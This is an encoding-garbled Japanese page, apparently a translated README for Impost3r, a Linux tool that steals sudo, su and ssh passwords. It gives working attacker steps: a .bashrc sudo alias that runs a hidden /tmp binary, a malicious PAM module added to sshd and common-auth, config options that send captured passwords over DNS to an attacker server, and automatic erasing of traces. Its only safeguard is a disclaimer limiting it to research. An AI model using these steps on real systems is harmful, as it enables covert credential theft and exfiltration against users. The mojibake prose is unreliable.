
ð»Impost3r -- linuxãã¹ã¯ãŒãçªåããŒã«
ã³ãã¥ããã£ã§æã䜿ãããŠããããŒã«ãèŠã€ããŸãããã
ãã¹ãŠã®ããŒã«ãæ¢çŽ¢
ããŒã«ã³ã¬ã¯ã·ã§ã³ãé²èЧ
ãã¹ãŠã®ããŒã«ãèŠã â
Impost3rã¯Cèšèªã§èšè¿°ããããLinuxäžã®ããŸããŸãªãã¹ã¯ãŒãïŒsshãsuãsudoïŒãçªåããããã®ããŒã«ã§ãã
ãŠãŒã¶ãŒã¯ãã®ããã°ã©ã ã䜿çšããŠæ°Žé£²ã¿å Žæ»æã仿ããæ£åœãªãŠãŒã¶ãŒã®ãã¹ã¯ãŒããçãããšãã§ããŸãã
ãã®ããŒã«ã¯ã»ãã¥ãªãã£ç ç©¶ããã³æè²ç®çã«éå®ãããŠããŸãããŠãŒã¶ãŒã¯ãã®ããŒã«ã䜿çšããããšã«ãã£ãŠçãããã¹ãŠã®æ³çããã³é¢é£ãã責任ãè² ããã®ãšããŸããäœè ã¯äžåã®æ³ç責任ããã³é¢é£ãã責任ãè² ããŸããã
Impost3rã¯sudoãsuãsshãµãŒãã¹ã®ãã¹ã¯ãŒããçªåã§ããŸããããã3ã€ã®ãµãŒãã¹ã¯å€§ãŸãã«2ã€ã®ã«ããŽãªã«åããããŸãïŒsudoãšssh/suã§ãã以äžã2ã€ã®ã±ãŒã¹ã«åããŠèª¬æããŸãã
éåžžã®ãŠãŒã¶ãŒæš©éã®ã¿ãå¿ èŠã§ãrootã§ããå¿ èŠã¯ãããŸããããã ãããã®ãŠãŒã¶ãŒã®ãã¹ã¯ãŒãã®ã¿ãçªåã§ããä»ã®ãŠãŒã¶ãŒã®ãã¹ã¯ãŒãã¯çªåã§ããŸããã
ãŸããæ»æè ããµãŒããŒãå¶åŸ¡ããŠãããæš©éã¯éåžžãŠãŒã¶ãŒæš©éã§ãããšä»®å®ããŸãã
ãŠãŒã¶ãŒã®ããŒã ãã£ã¬ã¯ããªã«.bash_profileãã¡ã€ã«ãååšããã確èªããŸãã.bash_profileãååšããå ŽåïŒãã®ãã¡ã€ã«å
ã§.bashrcãæç€ºçã«ããŒããããŠããã確èªããŸããããŒããããŠããã°ãã®æé ãšæ¬¡ã®2ã€ã®æé ãã¹ããããã以éã®æäœãç¶è¡ããŸããããŒããããŠããªããã°ã次ã®2ã€ã®æé ãã¹ããããã以éã®.bashrcã«å¯Ÿããæäœã¯ãã¹ãŠ.bash_profileã«å¯Ÿããæäœã«çœ®ãæããŸã!!! .bash_profileãååšããªãå ŽåïŒæ¬¡ã®æé ã«é²ã¿ãŸãã
ãŠãŒã¶ãŒã®ããŒã ãã£ã¬ã¯ããªã«.bash_loginãã¡ã€ã«ãååšããã確èªããŸãã.bash_loginãååšããå ŽåïŒãã®ãã¡ã€ã«å
ã§.bashrcãæç€ºçã«ããŒããããŠããã確èªããŸããããŒããããŠããã°ãã®æé ãšæ¬¡ã®æé ãã¹ããããã以éã®æäœãç¶è¡ããŸããããŒããããŠããªããã°ãæ¬¡ã®æé ãã¹ããããã以éã®.bashrcã«å¯Ÿããæäœã¯ãã¹ãŠ.bash_loginã«å¯Ÿããæäœã«çœ®ãæããŸã!!! .bash_loginãååšããªãå ŽåïŒæ¬¡ã®æé ã«é²ã¿ãŸãã
ãŠãŒã¶ãŒã®ããŒã ãã£ã¬ã¯ããªã«.profileãã¡ã€ã«ãååšããã確èªããŸãã.profileãååšããå ŽåïŒãã®ãã¡ã€ã«å
ã§.bashrcãæç€ºçã«ããŒããããŠããã確èªããŸãïŒããã©ã«ãã§ã¯ããŒããããŠããŸãïŒãããŒããããŠããã°ãã®æé ãã¹ããããã以éã®æäœãç¶è¡ããŸããããŒããããŠããªããã°ã以éã®.bashrcã«å¯Ÿããæäœã¯ãã¹ãŠ.profileã«å¯Ÿããæäœã«çœ®ãæããŸã!!! .profileãååšããªãå ŽåãååãšããŠImpost3rã¯äœ¿çšã§ããŸããããã ããç¶æ³ã«å¿ããŠ.bash_profileãŸãã¯.profileãã¡ã€ã«ãèªåã§çæãã以äžã®ãããªããŒãã³ãŒããæžã蟌ãã§.bashrcãããŒãããããšãã§ããŸãã
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
ãŠãŒã¶ãŒã®.bashrcãã³ããŒããŸãïŒcp ïœ/.bashrc /tmp/ããã®ã³ããŒãæ»æè
ãæå®ãããã¹ã«é
眮ããŸãïŒãã®äŸã§ã¯/tmp/ãã£ã¬ã¯ããªã«é
眮ããŠããŸããæ»æè
ã¯å€æŽå¯èœã§ãïŒã
ãŠãŒã¶ãŒã®ããŒã ãã£ã¬ã¯ããªã«ãã.bashrcïŒ~/.bashrcïŒãç·šéããæçµè¡ã«æ¬¡ã®æã远å ããŸãïŒ/tmp/.impost3rã¯äžèšã®FILENAMEãšäžèŽãããå¿
èŠããããŸãïŒïŒ
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
远å ãå®äºãããããã¡ã€ã«ãä¿åããsource ~/.bashrcãå®è¡ããŸãã
次ã«ãæ»æè
ã¯Impost3rã®ãœãŒã¹ã³ãŒã/sudo/main.hãä¿®æ£ããå¿
èŠããããŸãïŒ
/*
Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\Impost3rãã¿ãŒã²ãããµãŒããŒäžã«é
眮ããå Žæãèšå®
# define BACKUP_ORI_FILENAME ".bashrc" \\æ»æè
ãããã¯ã¢ããããå
ã®ãŠãŒã¶ãŒèšå®ãã¡ã€ã«ã.bashrcã.bash_profileã.profileã.bash_loginã®ãããããæå®
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\æ»æè
ãããã¯ã¢ããããå
ã®ãŠãŒã¶ãŒèšå®ãã¡ã€ã«ã®ã¿ãŒã²ãããµãŒããŒäžã®ãã¹ãæå®
# define SAVE_OR_SEND 0 \\çªåæååŸãçµæãã¿ãŒã²ãããã·ã³ã«ä¿åããããæ»æè
ã管çãããã·ã³ã«éä¿¡ããããèšå®ïŒéä¿¡=0ãä¿å=1ãããã©ã«ãã¯éä¿¡ïŒ
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\泚æïŒImpost3rããã®ã¡ãã»ãŒãžãåä¿¡ããããã«ãã¡ã€ã³ã賌å
¥ããããªãå Žåããã€ãã¿ãŒã²ãããµãŒããŒãå¶åŸ¡ããDNSãµãŒããŒã®53çªããŒããžã®çŽæ¥UDPæ¥ç¶ãçŠæ¢ããŠããªãå Žåãããã§ã¯ããã©ã«ãå€ã䜿çšããŠãã ããã
\\ãã ããã¿ãŒã²ãããµãŒããŒãDNSèŠæ±ã®ã¢ãŠãããŠã³ããå³ããå¶éããŠããå ŽåãYOUR_DOMAINã®å€ã賌å
¥ãããã¡ã€ã³ïŒäŸïŒ".example.com"ïŒã«å€æŽãããã®ãã¡ã€ã³ã®NSã¬ã³ãŒããå¶åŸ¡ããDNSãµãŒããŒã®ã¢ãã¬ã¹ã«èšå®ãããã®DNSãµãŒããŒã§Fdnsãå®è¡ããããã«REMOTE_ADDRESSã®å€ãã¿ãŒã²ãããµãŒããŒã®ããã©ã«ãDNSã¢ãã¬ã¹ã«ãREMOTE_PORTãã¿ãŒã²ãããµãŒããŒã®ããã©ã«ãDNSã¢ãã¬ã¹ããªãã¹ã³ããDNSãµãŒãã¹ããŒãïŒã»ãšãã©ã®å Žå53çªïŒã«å€æŽããŠãã ããã
# define MAX_RESEND 30 \\ãã¹ã¯ãŒãçªååŸãImpost3rãæ»æè
ãµãŒããŒã«ãŠãŒã¶ãŒãã¹ã¯ãŒããéä¿¡ããæå€§å詊è¡åæ°ãèšå®
# define RESEND_INTERVAL 5 \\éä¿¡ééãèšå®ïŒç§ïŒ
# define REMOTE_ADDRESS "192.168.0.12" \\ãã¹ã¯ãŒãéä¿¡å
ã®ãªã¢ãŒãã¢ãã¬ã¹ãèšå®
# define REMOTE_PORT 53 \\ãã¹ã¯ãŒãéä¿¡å
ã®ãªã¢ãŒãããŒããèšå®
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\çµæãã¡ã€ã«ã®ä¿åå Žæãèšå®ïŒSAVE_OR_SENDã1ã®å ŽåïŒ
ä¿®æ£ãå®äºããããä¿åããçŸåšã®ãã£ã¬ã¯ããªã§makeãå®è¡ããŸãã
çŸåšã®ãã£ã¬ã¯ããªã«ã³ã³ãã€ã«ããã.impost3rãã¡ã€ã«ãçæãããŸãã
.impost3rãã¡ã€ã«ãã¿ãŒã²ãããµãŒããŒã®/tmp/ãã©ã«ãã«ã¢ããããŒãããŸãïŒããã¯äŸã§ããããœãŒã¹ã³ãŒãã§å®çŸ©ããå ŽæãšäžèŽããã°ã©ãã§ãæ§ããŸããïŒã
æ»æè
ã¯èªèº«ã®ãµãŒããŒã§DNSãµãŒããŒããã°ã©ã ãèµ·åããæ£åœãªãŠãŒã¶ãŒãsudoã䜿çšããŠãã¹ã¯ãŒããå
¥åããã®ãåŸ
ã¡ãŸãã
sudoãã¹ã¯ãŒããçªåããå ŽåãImpost3rã¯æååŸã«èªåçã«çè·¡ãæ¶å»ãããããæ»æè ãæåã§ã¯ãªãŒã³ã¢ããããå¿ èŠã¯ãããŸããã
Impost3rã¯ãŠãŒã¶ãŒãå ¥åãããã¹ã¯ãŒããæ£ãããã©ãããèªåçã«å€å®ããæ£ãããã¹ã¯ãŒããå ¥åããããŸã§åŠçãç¶ãããã®åŸçè·¡ãæ¶å»ããŸãã
Impost3rã䜿çšããåã«ãsudo -vã§çŸåšã®ãŠãŒã¶ãŒãsudoerã°ã«ãŒãã«å±ããŠããã確èªããŠãã ãããå±ããŠããªãå Žåã¯Impost3rã䜿çšããªãã§ãã ããã
ssh/suãã¹ã¯ãŒãã®çªåã¯äžèšã®sudoãã¹ã¯ãŒãçªåãšã¯æ¹æ³ãç°ãªããrootæš©éãå¿ èŠã§ããä»»æã®ãŠãŒã¶ãŒã®ãã¹ã¯ãŒããçªåã§ããŸãã
以äžã¯UbuntuãäŸã«èª¬æããŸããCentOSãé¡äŒŒããŠããã䜿çšãããã¡ã€ã«ãä¿®æ£æ¹æ³ãç°ãªãå ŽåããããŸãã
ãŸããæ»æè ããµãŒããŒãå¶åŸ¡ããŠãããšä»®å®ããŸãã
æš©éææ ŒãçµãŠrootæš©éãååŸããŸãïŒãããã¯ã管çè ãrootæš©éã§ãµãŒãã¹ãèµ·åããŠããå ŽåããããŸãïŒã
ãŸãImpost3rã®/ssh_su/main.hãœãŒã¹ã³ãŒããã¡ã€ã«ãç·šéããŸãã
/*
Custom setting
*/
# define SSH_OR_BOTH 0 \\çªåã¢ãŒããèšå®ã0ã¯sshãã¹ã¯ãŒãã®ã¿çªåã1ã¯sshãšsuäž¡æ¹ã®ãã¹ã¯ãŒããçªåãããã©ã«ãã¯0ïŒåŸè¿°ã®éãåç
§ïŒ
# define SAVE_OR_SEND 0 \\çªåæååŸãçµæãã¿ãŒã²ãããã·ã³ã«ä¿åããããæ»æè
ã管çãããã·ã³ã«éä¿¡ããããèšå®ïŒéä¿¡=0ãä¿å=1ãããã©ã«ãã¯éä¿¡ïŒ
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\泚æïŒImpost3rããã®ã¡ãã»ãŒãžãåä¿¡ããããã«ãã¡ã€ã³ã賌å
¥ããããªãå Žåããã€ãã¿ãŒã²ãããµãŒããŒãå¶åŸ¡ããDNSãµãŒããŒã®53çªããŒããžã®çŽæ¥UDPæ¥ç¶ãçŠæ¢ããŠããªãå Žåãããã§ã¯ããã©ã«ãå€ã䜿çšããŠãã ããã
\\ãã ããã¿ãŒã²ãããµãŒããŒãDNSèŠæ±ã®ã¢ãŠãããŠã³ããå³ããå¶éããŠããå ŽåãYOUR_DOMAINã®å€ã賌å
¥ãããã¡ã€ã³ïŒäŸïŒ".example.com"ïŒã«å€æŽãããã®ãã¡ã€ã³ã®NSã¬ã³ãŒããå¶åŸ¡ããDNSãµãŒããŒã®ã¢ãã¬ã¹ã«èšå®ãããã®DNSãµãŒããŒã§Fdnsãå®è¡ããããã«REMOTE_ADDRESSã®å€ãã¿ãŒã²ãããµãŒããŒã®ããã©ã«ãDNSã¢ãã¬ã¹ã«ãREMOTE_PORTãã¿ãŒã²ãããµãŒããŒã®ããã©ã«ãDNSã¢ãã¬ã¹ããªãã¹ã³ããDNSãµãŒãã¹ããŒãïŒã»ãšãã©ã®å Žå53çªïŒã«å€æŽããŠãã ããã
# define MAX_RESEND 30 \\ãã¹ã¯ãŒãçªååŸãImpost3rãæ»æè
ãµãŒããŒã«ãŠãŒã¶ãŒãã¹ã¯ãŒããéä¿¡ããæå€§å詊è¡åæ°ãèšå®ïŒSSH_OR_BOTHã0ã®å Žåã®ã¿æå¹ïŒ
# define RESEND_INTERVAL 5 \\éä¿¡ééãèšå®ïŒç§ïŒïŒSSH_OR_BOTHã0ã®å Žåã®ã¿æå¹ïŒ
# define REMOTE_ADDRESS "192.168.0.12" \\ãã¹ã¯ãŒãéä¿¡å
ã®ãªã¢ãŒãã¢ãã¬ã¹ãèšå®
# define REMOTE_PORT 53 \\ãã¹ã¯ãŒãéä¿¡å
ã®ãªã¢ãŒãããŒããèšå®
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\çµæãã¡ã€ã«ã®ä¿åå Žæãèšå®ïŒSAVE_OR_SENDã1ã®å ŽåïŒ
ä¿®æ£ãå®äºããããä¿åããçŸåšã®ãã£ã¬ã¯ããªã§makeãå®è¡ããŸãã
ã³ã³ãã€ã«ãããimpost3r.soãã¡ã€ã«ãçæãããŸãã
ã³ã³ãã€ã«ãããimpost3r.soãã¿ãŒã²ãããã·ã³ã®/lib/x86_64-linux-gnu/securityã«ã¢ããããŒãããŸãïŒãã·ã³ã«ãã£ãŠãã©ã«ãåãç°ãªãå Žåããããããé©å®é
眮ããŠãã ããïŒã
/etc/pam.dãã£ã¬ã¯ããªã«ç§»åããŸããããã§2ã€ã®ã±ãŒã¹ããããŸããéžæããã¢ãŒããsshãã¹ã¯ãŒãã®ã¿ã®çªåã®å Žåãvi sshdãå®è¡ãããã¡ã€ã«ã®æåŸã«ä»¥äžã®æã远å ããŸãïŒæ³šæïŒUbuntu以å€ã®LinuxããŒã¹ã®ã·ã¹ãã ã§ã¯ãã®ãã¡ã€ã«ã倧ããç°ãªãå Žåããããããã«ãŒã«ãçè§£ããäžã§é©åãªäœçœ®ã«è¿œå ããŠãã ããïŒã
auth optional impost3r.so
account optional impost3r.so
ä¿åããŠçµäºããsshdãµãŒãã¹ãåèµ·åããŸãïŒservice sshd restart
äžæ¹ãsshãšsuäž¡æ¹ã®ãã¹ã¯ãŒããçªåããå Žåãvi common-authãå®è¡ããåãæã远å ããŸããä¿åããŠçµäºããåŸãåæ§ã«sshdãµãŒãã¹ãåèµ·åããŸãã
æ»æè
ã¯èªèº«ã®ãµãŒããŒã§DNSãµãŒããŒããã°ã©ã ãèµ·åããæ£åœãªãŠãŒã¶ãŒãsshã§ã¿ãŒã²ãããã·ã³ã«ãã°ã€ã³ããããsuã§ãŠãŒã¶ãŒãåãæ¿ããŠãã¹ã¯ãŒããå
¥åããã®ãåŸ
ã¡ãŸãã
ssh/suãã¹ã¯ãŒããçªåããå Žåãæš©éã®åé¡ã«ããImpost3rã¯çè·¡ãæ¶å»ã§ããŸãããæ»æè èªèº«ã§ã¯ãªãŒã³ã¢ããããå¿ èŠããããŸãã
sshãã¹ã¯ãŒãã®ã¿ãçªåããèšå®ã«ããå Žåãæ»æè ã¯ã»ãŒç¢ºå®ã«çªåçµæãåä¿¡ã§ããŸããäž¡æ¹åæã«çªåããèšå®ã«ããå Žåã確å®ã«çµæãåä¿¡ã§ãããšã¯éããŸããïŒDNSéä¿¡èšå®ã®å ŽåãããŒã«ã«ä¿åã®å Žåã¯åœ±é¿ãåããŸããïŒã
suãã¹ã¯ãŒãã®çªåã¯æšå¥šããŸããããŸãããŠãŒã¶ãŒã®sshãã¹ã¯ãŒããšsuãã¹ã¯ãŒãã¯åäžã§ãããããå¯èœã§ããã°suãã¹ã¯ãŒãã¯çªåãããsshãã¹ã¯ãŒãã ãã§ååã§ãã
ããã©ã«ãã§ã¯ç©ºã®ãã¹ã¯ãŒãã¯çªåããŸããããŠãŒã¶ãŒã«ç©ºã®ãã¹ã¯ãŒããååšãããã©ããäºåã«ç¢ºèªããŠãã ããïŒsshdã®èšå®ãã¡ã€ã«ã«PermitEmptyPasswords yesããããã©ãã確èªããŠãã ããã空ã§ããã°çªåããæå³ããããŸããïŒã
gcc -o dns main.c util.cã§ã³ã³ãã€ã«ããŠãã ããïŒäºåã«main.cå
ã®ãªãã¹ã³ããŒããä¿®æ£ããŠãã ããïŒãutil.hå
ã®YOUR_DOMAINã®å€ã確èªããã¿ãŒã²ãããµãŒããŒäžã§ã³ã³ãã€ã«ãããImpost3rããã°ã©ã ã®YOUR_DOMAINã®å€ãšäžèŽããŠããããšã確èªããŠãã ãããäžèŽããŠããªããšçªåã«å€±æããå¯èœæ§ããããŸãã